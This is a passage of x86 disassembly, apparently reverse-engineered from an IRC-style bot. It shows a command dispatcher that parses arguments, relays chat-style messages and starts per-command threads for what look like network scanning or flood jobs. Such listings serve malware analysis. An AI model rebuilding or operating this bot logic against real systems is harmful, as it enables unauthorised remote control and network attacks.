lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409A73
add esp, 14h
loc_407422: ; CODE XREF: sub_401ACD+5937j
lea eax, [ebp+Dst]
push eax
call sub_4151AD
loc_40742E: ; CODE XREF: sub_401ACD+5986j
lea eax, [ebp+Filename]
push 4
push eax
call sub_416909
add esp, 0Ch
test eax, eax
jz loc_401E94
lea eax, [ebp+Filename]
push eax
call sub_41BDDC
jmp short loc_40742E
; ---------------------------------------------------------------------------
loc_407455: ; CODE XREF: sub_401ACD+57E6j
push [ebp+Source] ; Str
call _atoi
push edi ; Str
mov [ebp+var_370], eax
call _atoi
push [ebp+Src] ; Str
mov [ebp+var_358], eax
call _atoi
add esp, 0Ch
cmp eax, 5
mov [ebp+var_36C], eax
jnb short loc_40748E
push 5
pop eax
mov [ebp+var_36C], eax
loc_40748E: ; CODE XREF: sub_401ACD+59B6j
push 3Ch
pop ecx
cmp eax, ecx
jbe short loc_40749B
mov [ebp+var_36C], ecx
loc_40749B: ; CODE XREF: sub_401ACD+59C6j
push [ebp+arg_18] ; Str
call _atoi
mov [ebp+var_368], eax
mov eax, 320h
cmp [ebp+var_368], eax
pop ecx
jbe short loc_4074BD
mov [ebp+var_368], eax
loc_4074BD: ; CODE XREF: sub_401ACD+59E8j
or [ebp+var_354], 0FFFFFFFFh
cmp dword_431B00, ebx
mov [ebp+arg_20], ebx
jz short loc_40750C
mov edi, offset dword_431B00
loc_4074D4: ; CODE XREF: sub_401ACD+5A21j
push [ebp+Source] ; Str2
lea eax, [edi-28h]
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_4074F2
inc [ebp+arg_20]
add edi, 40h
cmp [edi], ebx
jnz short loc_4074D4
jmp short loc_40750C
; ---------------------------------------------------------------------------
loc_4074F2: ; CODE XREF: sub_401ACD+5A17j
mov eax, [ebp+arg_20]
mov ecx, eax
mov [ebp+var_354], eax
shl ecx, 6
mov ecx, dword_431B00[ecx]
mov [ebp+var_370], ecx
loc_40750C: ; CODE XREF: sub_401ACD+5A00j
; sub_401ACD+5A23j
cmp [ebp+var_370], ebx
jnz short loc_40751E
push offset unk_42ACA8
jmp loc_406F05
; ---------------------------------------------------------------------------
loc_40751E: ; CODE XREF: sub_401ACD+5A45j
mov edi, [ebp+esi+var_7C]
cmp edi, ebx
mov [ebp+Src], edi
jz short loc_407559
cmp byte ptr [edi], 23h
jz short loc_407559
push edi ; Format
lea eax, [ebp+var_484]
push 10h ; Count
push eax ; Dest
call __snprintf
push 78h ; Val
push edi ; Str
call _strchr
add esp, 14h
neg eax
sbb eax, eax
neg eax
mov [ebp+var_344], eax
jmp loc_407633
; ---------------------------------------------------------------------------
loc_407559: ; CODE XREF: sub_401ACD+5A5Aj
; sub_401ACD+5A5Fj
cmp [ebp+var_8FF], bl
jnz short loc_40757B
cmp [ebp+var_8FE], bl
jnz short loc_40757B
cmp [ebp+var_8EE], bl
jnz short loc_40757B
push offset unk_42AC74
jmp loc_406F05
; ---------------------------------------------------------------------------
loc_40757B: ; CODE XREF: sub_401ACD+5A92j
; sub_401ACD+5A9Aj ...
push 10h
lea eax, [ebp+var_2D0]
pop edi
push eax
lea eax, [ebp+var_2F8]
push eax
mov [ebp+var_2D0], edi
push [ebp+arg_4]
call dword_4CB5F8 ; getsockname
mov al, [ebp+var_8FF]
push edi ; Args
neg al
sbb eax, eax
and ax, 100h
add eax, 0FFFFh
and [ebp+var_2F4], eax
push [ebp+var_2F4] ; Count
call dword_4CB6E0 ; inet_ntoa
push eax ; Source
lea eax, [ebp+var_484]
push eax ; Dest
call _strncpy
add esp, 0Ch
cmp [ebp+var_8EE], bl
jz short loc_40762D
xor eax, eax
cmp [ebp+var_8FF], bl
push 30h ; Ch
setnz al
inc eax
inc eax
mov edi, eax
lea eax, [ebp+var_484]
push eax ; Str
call _strrchr
pop ecx
cmp edi, ebx
pop ecx
mov byte ptr [ebp+File+3], bl
jle short loc_407621
loc_4075FF: ; CODE XREF: sub_401ACD+5B52j
cmp eax, ebx
jz short loc_407621
mov byte ptr [eax], 78h
lea eax, [ebp+var_484]
push 30h ; Ch
push eax ; Str
call _strrchr
inc byte ptr [ebp+File+3]
pop ecx
pop ecx
movsx ecx, byte ptr [ebp+File+3]
cmp ecx, edi
jl short loc_4075FF
loc_407621: ; CODE XREF: sub_401ACD+5B30j
; sub_401ACD+5B34j
mov [ebp+var_344], 1
jmp short loc_407633
; ---------------------------------------------------------------------------
loc_40762D: ; CODE XREF: sub_401ACD+5B0Aj
mov [ebp+var_344], ebx
loc_407633: ; CODE XREF: sub_401ACD+5A87j
; sub_401ACD+5B5Ej
mov eax, [ebp+arg_4]
push [ebp+Format] ; Format
mov [ebp+var_374], eax
mov eax, [ebp+var_4]
mov [ebp+var_34C], eax
mov eax, [ebp+var_8]
mov [ebp+var_348], eax
mov edi, 80h
lea eax, [ebp+var_474]
push edi ; Count
push eax ; Dest
call __snprintf
mov esi, [ebp+esi+var_78]
add esp, 0Ch
cmp esi, ebx
jz short loc_407684
loc_407671: ; CODE XREF: sub_401ACD+5BDAj
push esi ; Format
loc_407672: ; CODE XREF: sub_401ACD+5BC4j
lea eax, [ebp+var_3F4]
push edi ; Count
push eax ; Dest
call __snprintf
add esp, 0Ch
jmp short loc_4076AF
; ---------------------------------------------------------------------------
loc_407684: ; CODE XREF: sub_401ACD+5BA2j
mov eax, [ebp+Src]
cmp eax, ebx
jz short loc_407693
cmp byte ptr [eax], 23h
jnz short loc_407693
push eax
jmp short loc_407672
; ---------------------------------------------------------------------------
loc_407693: ; CODE XREF: sub_401ACD+5BBCj
; sub_401ACD+5BC1j
mov esi, offset aF ; "#f"
push offset byte_43D808 ; Str2
push esi ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_407671
mov [ebp+var_3F4], bl
loc_4076AF: ; CODE XREF: sub_401ACD+5BB5j
cmp [ebp+var_344], ebx
mov eax, offset aRandom ; "Random"
jnz short loc_4076C1
mov eax, offset aSequential ; "Sequential"
loc_4076C1: ; CODE XREF: sub_401ACD+5BEDj
push [ebp+var_358]
lea ecx, [ebp+var_484]
push [ebp+var_368]
push [ebp+var_36C]
push [ebp+var_370]
push ecx
push eax
lea eax, [ebp+Dst]
push offset asc_42AC0C ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 0Bh ; int
push eax ; Source
call sub_40B0F7
add esp, 2Ch
mov [ebp+var_364], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_484]
push ebx
push eax
push offset sub_40C33D
push ebx
push ebx
call ds:dword_42707C ; CreateThread
mov ecx, [ebp+var_364]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_40774F
loc_407739: ; CODE XREF: sub_401ACD+5C80j
cmp [ebp+var_340], ebx
jnz loc_40828C
push 32h
call ds:dword_427078 ; Sleep
jmp short loc_407739
; ---------------------------------------------------------------------------
loc_40774F: ; CODE XREF: sub_401ACD+5C6Aj
call ds:dword_42708C ; RtlGetLastWin32Error
push eax
push offset unk_42ABD4
jmp loc_4049EC
; ---------------------------------------------------------------------------
loc_407760: ; CODE XREF: sub_401ACD+4F6Bj
; sub_401ACD+4F82j
push [ebp+Source]
call sub_40AAFA
push edi ; Str
mov [ebp+var_4E0], eax
call _atoi
push [ebp+Src] ; Str
mov [ebp+var_4F0], eax
call _atoi
push [ebp+arg_18] ; Str
mov [ebp+var_4EC], eax
call _atoi
mov esi, [ebp+arg_4]
push 7Fh ; Count
push [ebp+Format] ; Source
mov [ebp+var_4E8], eax
lea eax, [ebp+var_570]
mov [ebp+var_574], esi
push eax ; Dest
call _strncpy
add esp, 1Ch
mov edi, [ebp+var_4]
mov eax, [ebp+var_8]
mov [ebp+var_4D8], edi
push [ebp+var_4EC]
mov [ebp+var_4D4], eax
push [ebp+var_4F0]
push [ebp+var_4E8]
push [ebp+var_4E0]
call dword_4CB6E0 ; inet_ntoa
push eax
lea eax, [ebp+Dst]
push offset asc_42AB84 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 0Bh ; int
push eax ; Source
call sub_40B0F7
add esp, 24h
mov [ebp+var_4E4], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_574]
push ebx
push eax
push offset sub_40C75A
push ebx
push ebx
call ds:dword_42707C ; CreateThread
mov ecx, [ebp+var_4E4]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_407855
loc_40783F: ; CODE XREF: sub_401ACD+5D86j
cmp [ebp+var_4D0], ebx
jnz loc_403DA1
push 32h
call ds:dword_427078 ; Sleep
jmp short loc_40783F
; ---------------------------------------------------------------------------
loc_407855: ; CODE XREF: sub_401ACD+5D70j
call ds:dword_42708C ; RtlGetLastWin32Error
push eax
push offset unk_42AB48
jmp loc_403D92
; ---------------------------------------------------------------------------
loc_407866: ; CODE XREF: sub_401ACD+4F2Ej
; sub_401ACD+4F45j
push [ebp+Source] ; Str
call _atoi
imul eax, 234h
pop ecx
cmp byte_43E5A8[eax], bl
jz loc_409855
cmp [ebp+var_C], ebx
jz loc_409855
push edi ; Str
call _strlen
push [ebp+Source] ; Str
mov esi, eax
call _strlen
push [ebp+arg_8] ; Str
add esi, eax
call _strlen
add eax, [ebp+var_C]
push [ebp+Src] ; SubStr
lea eax, [eax+esi+2]
push eax ; Str
call _strstr
add esp, 14h
mov esi, eax
lea eax, [ebp+Dst]
push esi
push offset dword_42AB3C ; Format
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp esi, ebx
jz loc_409855
push [ebp+Source] ; Str
call _atoi
test eax, eax
pop ecx
jle loc_409855
push [ebp+Source] ; Str
call _atoi
cmp eax, 400h
pop ecx
jge loc_409855
push ebx ; int
lea eax, [ebp+Dst]
push ebx ; int
push eax ; int
push edi ; Str
push [ebp+Source] ; Str
call _atoi
imul eax, 234h
pop ecx
push dword_43E59C[eax] ; int
call sub_409A73
push [ebp+Source] ; Str
call _atoi
imul eax, 234h
add esp, 18h
cmp byte ptr dword_43E390[eax], 73h
jnz loc_409855
push esi
push [ebp+Source] ; Str
call _atoi
imul eax, 234h
pop ecx
add eax, offset byte_43E5A8
push eax
push edi
push offset aSSS ; "[%s] * %s %s"
jmp loc_407A36
; ---------------------------------------------------------------------------
loc_40795E: ; CODE XREF: sub_401ACD+4F00j
; sub_401ACD+4F17j
push [ebp+Source] ; Str
call _atoi
imul eax, 234h
pop ecx
cmp byte_43E5A8[eax], bl
jz loc_409855
cmp [ebp+var_C], ebx
jz loc_409855
push edi ; Str
call _strlen
push [ebp+Source] ; Str
mov esi, eax
call _strlen
push [ebp+arg_8] ; Str
add esi, eax
call _strlen
add eax, [ebp+var_C]
push [ebp+Src] ; SubStr
lea eax, [eax+esi+2]
push eax ; Str
call _strstr
mov esi, eax
add esp, 14h
cmp esi, ebx
jz loc_409855
push [ebp+Source] ; Str
call _atoi
test eax, eax
pop ecx
jle loc_409855
push [ebp+Source] ; Str
call _atoi
cmp eax, 400h
pop ecx
jge loc_409855
push ebx ; int
push ebx ; int
push esi ; int
push edi ; Str
push [ebp+Source] ; Str
call _atoi
imul eax, 234h
pop ecx
push dword_43E59C[eax] ; int
call sub_409A73
push [ebp+Source] ; Str
call _atoi
imul eax, 234h
add esp, 18h
cmp byte ptr dword_43E390[eax], 73h
jnz loc_409855
push esi
push [ebp+Source] ; Str
call _atoi
imul eax, 234h
pop ecx
add eax, offset byte_43E5A8
push eax
push edi
push offset aSSS_0 ; "[%s] <%s> %s"
loc_407A36: ; CODE XREF: sub_401ACD+5E8Cj
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409A73
add esp, 28h
jmp loc_409855
; ---------------------------------------------------------------------------
loc_407A63: ; CODE XREF: sub_401ACD+4ED2j
; sub_401ACD+4EE9j
push [ebp+Source]
call dword_4CB694 ; inet_addr
push edi ; Str
mov [ebp+var_680], eax
call _atoi
push [ebp+Src] ; Str
mov [ebp+var_690], eax
call _atoi
mov esi, [ebp+arg_4]
push 7Fh ; Count
push [ebp+Format] ; Source
mov [ebp+var_688], eax
lea eax, [ebp+var_710]
mov [ebp+var_714], esi
push eax ; Dest
call _strncpy
add esp, 14h
mov edi, [ebp+var_4]
mov eax, [ebp+var_8]
mov [ebp+var_678], edi
push [ebp+var_688]
mov [ebp+var_674], eax
push [ebp+var_690]
push [ebp+var_680]
call dword_4CB6E0 ; inet_ntoa
push eax
lea eax, [ebp+Dst]
push offset asc_42AAE0 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 0Bh ; int
push eax ; Source
call sub_40B0F7
add esp, 20h
mov [ebp+var_684], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_714]
push ebx
push eax
push offset sub_40C669
push ebx
push ebx
call ds:dword_42707C ; CreateThread
mov ecx, [ebp+var_684]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_407B45
loc_407B2F: ; CODE XREF: sub_401ACD+6076j
cmp [ebp+var_670], ebx
jnz loc_403DA1
push 32h
call ds:dword_427078 ; Sleep
jmp short loc_407B2F
; ---------------------------------------------------------------------------
loc_407B45: ; CODE XREF: sub_401ACD+6060j
call ds:dword_42708C ; RtlGetLastWin32Error
push eax
push offset unk_42ABD4
jmp loc_403D92
; ---------------------------------------------------------------------------
loc_407B56: ; CODE XREF: sub_401ACD+4EA4j
; sub_401ACD+4EBBj
push [ebp+Source] ; Str
call _atoi
mov [ebp+var_112C], eax
push 7Fh ; Count
lea eax, [ebp+var_1230]
push edi ; Source
push eax ; Dest
call _strncpy
push [ebp+Src] ; Str
call _atoi
mov esi, [ebp+arg_4]
add esp, 14h
mov [ebp+var_1130], eax
lea eax, [ebp+var_11B0]
push [ebp+Format] ; Format
mov [ebp+var_1238], esi
push 80h ; Count
push eax ; Dest
call __snprintf
mov eax, [ebp+var_8]
add esp, 0Ch
mov edi, [ebp+var_4]
mov [ebp+var_111C], eax
push [ebp+var_1130]
lea eax, [ebp+var_1230]
mov [ebp+var_1120], edi
push eax
push [ebp+var_112C]
push esi
call sub_40AC10
pop ecx
push eax
lea eax, [ebp+Dst]
push offset asc_42AAA4 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 18h ; int
push eax ; Source
call sub_40B0F7
add esp, 24h
mov [ebp+var_1128], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1238]
push ebx
push eax
push offset sub_4103AB
push ebx
push ebx
call ds:dword_42707C ; CreateThread
mov ecx, [ebp+var_1128]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_407C42
loc_407C2C: ; CODE XREF: sub_401ACD+6173j
cmp [ebp+var_1118], ebx
jnz loc_403DA1
push 32h
call ds:dword_427078 ; Sleep
jmp short loc_407C2C
; ---------------------------------------------------------------------------
loc_407C42: ; CODE XREF: sub_401ACD+615Dj
call ds:dword_42708C ; RtlGetLastWin32Error
push eax
push offset unk_42AA60
jmp loc_403D92
; ---------------------------------------------------------------------------
loc_407C53: ; CODE XREF: sub_401ACD+4E76j
; sub_401ACD+4E8Dj
push 0FFh ; Count
lea eax, [ebp+var_2878]
push [ebp+Source] ; Source
push eax ; Dest
call _strncpy
push 0FFh ; Count
lea eax, [ebp+var_2778]
push edi ; Source
push eax ; Dest
call _strncpy
push [ebp+Src] ; Str
mov [ebp+var_2674], ebx
call _atoi
mov [ebp+var_2670], eax
mov eax, [ebp+esi+var_80]
add esp, 1Ch
cmp eax, ebx
jz short loc_407CAC
push 10h ; Radix
push ebx ; EndPtr
push eax ; Str
call _strtoul
add esp, 0Ch
mov [ebp+var_2668], eax
jmp short loc_407CB2
; ---------------------------------------------------------------------------
loc_407CAC: ; CODE XREF: sub_401ACD+61C9j
mov [ebp+var_2668], ebx
loc_407CB2: ; CODE XREF: sub_401ACD+61DDj
mov esi, [ebp+esi+var_7C]
cmp esi, ebx
jz short loc_407CC9
push esi ; Str
call _atoi
pop ecx
mov [ebp+var_266C], eax
jmp short loc_407CCF
; ---------------------------------------------------------------------------
loc_407CC9: ; CODE XREF: sub_401ACD+61EBj
mov [ebp+var_266C], ebx
loc_407CCF: ; CODE XREF: sub_401ACD+61FAj
movzx eax, [ebp+var_8FB]
mov esi, [ebp+arg_4]
push 7Fh ; Count
push [ebp+Format] ; Source
mov [ebp+var_2664], eax
lea eax, [ebp+var_28F8]
mov [ebp+var_28FC], esi
push eax ; Dest
call _strncpy
mov eax, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_265C], eax
mov eax, [ebp+var_8]
push edi
mov [ebp+var_2660], eax
push [ebp+Source]
lea eax, [ebp+Dst]
push offset asc_42AA34 ; "-"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dst]
push 1Dh ; int
push eax ; Source
call sub_40B0F7
add esp, 1Ch
mov [ebp+var_2678], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_28FC]
push ebx
push eax
push offset sub_4163FA
push ebx
push ebx
call ds:dword_42707C ; CreateThread
mov ecx, [ebp+var_2678]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_407D80
loc_407D6A: ; CODE XREF: sub_401ACD+62B1j
cmp [ebp+var_2658], ebx
jnz loc_407279
push 32h
call ds:dword_427078 ; Sleep
jmp short loc_407D6A
; ---------------------------------------------------------------------------
loc_407D80: ; CODE XREF: sub_401ACD+629Bj
call ds:dword_42708C ; RtlGetLastWin32Error
push eax
push offset unk_42A9F4
jmp loc_40726A
; ---------------------------------------------------------------------------
loc_407D91: ; CODE XREF: sub_401ACD+4E48j
; sub_401ACD+4E5Fj
push 7Fh
lea eax, [ebp+var_3490]
pop esi
push esi ; Count
push [ebp+Source] ; Source
push eax ; Dest
call _strncpy
push esi ; Count
lea eax, [ebp+var_3410]
push edi ; Source
push eax ; Dest
call _strncpy
push esi ; Count
lea eax, [ebp+var_3390]
push [ebp+Src] ; Source
push eax ; Dest
call _strncpy
push esi ; Count
lea eax, [ebp+var_3310]
push [ebp+Format] ; Source
push eax ; Dest
call _strncpy
mov eax, [ebp+var_4]
add esp, 30h
mov esi, [ebp+arg_4]
mov [ebp+var_328C], eax
push [ebp+Src]
mov eax, [ebp+var_8]
mov [ebp+var_3288], eax
lea eax, [ebp+Dst]
push edi
mov [ebp+var_3494], esi
push [ebp+Source]
push offset asc_42A9B8 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 12h ; int
push eax ; Source
call sub_40B0F7
add esp, 20h
mov [ebp+var_3290], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3494]
push ebx
push eax
push offset sub_414A92
push ebx
push ebx
call ds:dword_42707C ; CreateThread
mov ecx, [ebp+var_3290]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_407E68
loc_407E52: ; CODE XREF: sub_401ACD+6399j
cmp [ebp+var_3284], ebx
jnz loc_407279
push 32h
call ds:dword_427078 ; Sleep
jmp short loc_407E52
; ---------------------------------------------------------------------------
loc_407E68: ; CODE XREF: sub_401ACD+6383j
call ds:dword_42708C ; RtlGetLastWin32Error
push eax
push offset unk_42A980
jmp loc_40726A
; ---------------------------------------------------------------------------
loc_407E79: ; CODE XREF: sub_401ACD+4D1Bj
; sub_401ACD+4D32j
push 7Fh
lea eax, [ebp+var_3068]
pop esi
push esi ; Count
push [ebp+Source] ; Source
push eax ; Dest
call _strncpy
push esi ; Count
lea eax, [ebp+var_2FE8]
push edi ; Source
push eax ; Dest
call _strncpy
push esi ; Count
lea eax, [ebp+var_2F68]
push [ebp+Src] ; Source
push eax ; Dest
call _strncpy
push esi ; Count
lea eax, [ebp+var_2EE8]
push [ebp+Format] ; Source
push eax ; Dest
call _strncpy
mov eax, [ebp+var_4]
add esp, 30h
mov esi, [ebp+arg_4]
mov [ebp+var_2E64], eax
push [ebp+Src]
mov eax, [ebp+var_8]
mov [ebp+var_2E60], eax
lea eax, [ebp+Dst]
push edi
mov [ebp+var_306C], esi
push [ebp+Source]
push offset asc_42A950 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 0Eh ; int
push eax ; Source
call sub_40B0F7
add esp, 20h
mov [ebp+var_2E68], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_306C]
push ebx
push eax
push offset sub_4137CD
push ebx
push ebx
call ds:dword_42707C ; CreateThread
mov ecx, [ebp+var_2E68]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_407F50
loc_407F3A: ; CODE XREF: sub_401ACD+6481j
cmp [ebp+var_2E5C], ebx
jnz loc_407279
push 32h
call ds:dword_427078 ; Sleep
jmp short loc_407F3A
; ---------------------------------------------------------------------------
loc_407F50: ; CODE XREF: sub_401ACD+646Bj
call ds:dword_42708C ; RtlGetLastWin32Error
push eax
push offset unk_42A918
jmp loc_40726A
; ---------------------------------------------------------------------------
loc_407F61: ; CODE XREF: sub_401ACD+4BF2j
; sub_401ACD+4C09j ...
push 7Fh
lea eax, [ebp+var_3CE4]
pop esi
push esi ; Count
push [ebp+Source] ; Source
push eax ; Dest
call _strncpy
push esi ; Count
lea eax, [ebp+var_3C64]
push edi ; Source
push eax ; Dest
call _strncpy
push esi ; Count
lea eax, [ebp+var_3BE4]
push [ebp+Src] ; Source
push eax ; Dest
call _strncpy
push esi ; Count
lea eax, [ebp+var_3B64]
push [ebp+Format] ; Source
push eax ; Dest
call _strncpy
push 20h ; Count
lea eax, [ebp+var_3AE4]
push [ebp+arg_8] ; Source
push eax ; Dest
call _strncpy
mov eax, [ebp+var_4]
add esp, 3Ch
mov esi, [ebp+arg_4]
mov [ebp+var_3A64], eax
push [ebp+Src]
mov eax, [ebp+var_8]
mov [ebp+var_3A60], eax
lea eax, [ebp+Dst]
push edi
mov [ebp+var_3CEC], esi
push [ebp+Source]
push offset asc_42A8E8 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 0Dh ; int
push eax ; Source
call sub_40B0F7
add esp, 20h
mov [ebp+var_3CE8], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3CEC]
push ebx
push eax
push offset sub_412A54
push ebx
push ebx
call ds:dword_42707C ; CreateThread
mov ecx, [ebp+var_3CE8]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_408049
loc_408033: ; CODE XREF: sub_401ACD+657Aj
cmp [ebp+var_3A5C], ebx
jnz loc_407279
push 32h
call ds:dword_427078 ; Sleep
jmp short loc_408033
; ---------------------------------------------------------------------------
loc_408049: ; CODE XREF: sub_401ACD+6564j
call ds:dword_42708C ; RtlGetLastWin32Error
push eax
push offset unk_42A8B0
jmp loc_40726A
; ---------------------------------------------------------------------------
loc_40805A: ; CODE XREF: sub_401ACD+4BC4j
; sub_401ACD+4BDBj
push 7Fh ; Count
lea eax, [ebp+var_1778]
push [ebp+Source] ; Source
push eax ; Dest
call _strncpy
push edi ; Str
call _atoi
push 3Fh ; Count
mov [ebp+var_1628], eax
push [ebp+Src] ; Source
lea eax, [ebp+var_16F8]
push eax ; Dest
call _strncpy
mov esi, [ebp+esi+var_80]
add esp, 1Ch
cmp esi, ebx
jz short loc_4080A5
push 3Fh ; Count
lea eax, [ebp+var_16B8]
push esi ; Source
push eax ; Dest
call _strncpy
add esp, 0Ch
loc_4080A5: ; CODE XREF: sub_401ACD+65C4j
lea eax, [ebp+var_16F8]
mov [ebp+var_1624], 1
push eax
lea eax, [ebp+var_1778]
push [ebp+var_1628]
push eax
lea eax, [ebp+Dst]
push offset asc_42A880 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 1Fh ; int
push eax ; Source
call sub_40B0F7
add esp, 20h
mov [ebp+var_1620], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_177C]
push ebx
push eax
push offset sub_4017ED
push ebx
push ebx
call ds:dword_42707C ; CreateThread
mov ecx, [ebp+var_1620]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_408131
loc_40811B: ; CODE XREF: sub_401ACD+6662j
cmp [ebp+var_161C], ebx
jnz loc_406CDF
push 32h
call ds:dword_427078 ; Sleep
jmp short loc_40811B
; ---------------------------------------------------------------------------
loc_408131: ; CODE XREF: sub_401ACD+664Cj
call ds:dword_42708C ; RtlGetLastWin32Error
push eax
push offset dword_42A844
jmp loc_406CD0
; ---------------------------------------------------------------------------
loc_408142: ; CODE XREF: sub_401ACD+4B84j
; sub_401ACD+4B9Bj
push edi ; Str
call _atoi
cmp eax, ebx
pop ecx
mov [ebp+var_1D64], eax
jle loc_408235
push [ebp+Source] ; Format
mov esi, 80h
lea eax, [ebp+var_1EEC]
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 0Ch
xor eax, eax
cmp [ebp+var_8EE], bl
push [ebp+Format] ; Format
setnz al
mov [ebp+var_1D60], eax
mov eax, [ebp+arg_4]
mov [ebp+var_1EF0], eax
lea eax, [ebp+var_1DEC]
push esi ; Count
push eax ; Dest
call __snprintf
mov eax, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_1D5C], eax
mov eax, [ebp+var_8]
push edi
mov [ebp+var_1D58], eax
push [ebp+Source]
lea eax, [ebp+Dst]
push offset asc_42A818 ; "-"
push 200h ; Count
push eax ; Dest
call __snprintf
push ebx ; int
lea eax, [ebp+Dst]
push 15h ; int
push eax ; Source
call sub_40B0F7
add esp, 20h
mov [ebp+var_1D6C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1EF0]
push ebx
push eax
push offset sub_412E9E
push ebx
push ebx
call ds:dword_42707C ; CreateThread
mov ecx, [ebp+var_1D6C]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_408224
loc_408212: ; CODE XREF: sub_401ACD+6755j
cmp [ebp+var_1D54], ebx
jnz short loc_40828C
push 32h
call ds:dword_427078 ; Sleep
jmp short loc_408212
; ---------------------------------------------------------------------------
loc_408224: ; CODE XREF: sub_401ACD+6743j
call ds:dword_42708C ; RtlGetLastWin32Error
push eax
push offset unk_42A7E0
jmp loc_4049EC
; ---------------------------------------------------------------------------
loc_408235: ; CODE XREF: sub_401ACD+6684j
push offset unk_42A7A8
jmp loc_406F05
; ---------------------------------------------------------------------------
loc_40823F: ; CODE XREF: sub_401ACD+4B56j
; sub_401ACD+4B6Dj
push edi
push [ebp+Source]
call ds:dword_4270B4 ; MoveFileA
test eax, eax
jz short loc_40826C
push edi
lea eax, [ebp+Dst]
push [ebp+Source]
push offset asc_42A784 ; "-"
push 200h ; Count
push eax ; Dest
call __snprintf
add esp, 14h
jmp short loc_40828C
; ---------------------------------------------------------------------------
loc_40826C: ; CODE XREF: sub_401ACD+677Ej
push offset dword_42A778
call sub_41814D
pop ecx
push eax ; Format
lea eax, [ebp+Dst]
push 200h ; Count
push eax ; Dest
call __snprintf
loc_408289: ; CODE XREF: sub_401ACD+2F2Bj
; sub_401ACD+5570j
add esp, 0Ch
loc_40828C: ; CODE XREF: sub_401ACD+2137j
; sub_401ACD+2ECDj ...
cmp [ebp+var_8], ebx
jnz loc_4083BD
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
loc_4082A9: ; CODE XREF: sub_401ACD+57C7j
call sub_409A73
add esp, 14h
jmp loc_4083BD
; ---------------------------------------------------------------------------
loc_4082B6: ; CODE XREF: sub_401ACD+4B28j
; sub_401ACD+4B3Fj
push [ebp+Source] ; Format
lea eax, [ebp+var_3F04]
push 104h ; Count
push eax ; Dest
call __snprintf
add esp, 0Ch
cmp [ebp+var_C], ebx
jz short loc_4082F0
push edi ; SubStr
push [ebp+var_C] ; Str
call _strstr
pop ecx
cmp eax, ebx
pop ecx
jz short loc_4082F0
push eax ; Format
lea eax, [ebp+var_3E00]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_4082F0: ; CODE XREF: sub_401ACD+6803j
; sub_401ACD+6812j
push [ebp+Format] ; Format
lea eax, [ebp+var_3F84]
push 80h ; Count
push eax ; Dest
call __snprintf
mov eax, [ebp+arg_4]
add esp, 0Ch
mov [ebp+var_3F88], eax
mov eax, [ebp+var_4]
mov [ebp+var_3CF8], eax
mov eax, [ebp+var_8]
mov [ebp+var_3CF4], eax
lea eax, [ebp+var_3E00]
push eax
lea eax, [ebp+var_3F04]
push eax
push offset asc_42A748 ; "-"
lea eax, [ebp+Dst]
push 200h ; Count
push eax ; Dest
call __snprintf
push ebx ; int
lea eax, [ebp+Dst]
push 24h ; int
push eax ; Source
call sub_40B0F7
add esp, 20h
mov [ebp+var_3CFC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3F88]
push ebx
push eax
push offset sub_416CAE
push ebx
push ebx
call ds:dword_42707C ; CreateThread
mov ecx, [ebp+var_3CFC]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_4083A2
loc_408390: ; CODE XREF: sub_401ACD+68D3j
cmp [ebp+var_3CF0], ebx
jnz short loc_4083BD
push 32h
call ds:dword_427078 ; Sleep
jmp short loc_408390
; ---------------------------------------------------------------------------
loc_4083A2: ; CODE XREF: sub_401ACD+68C1j
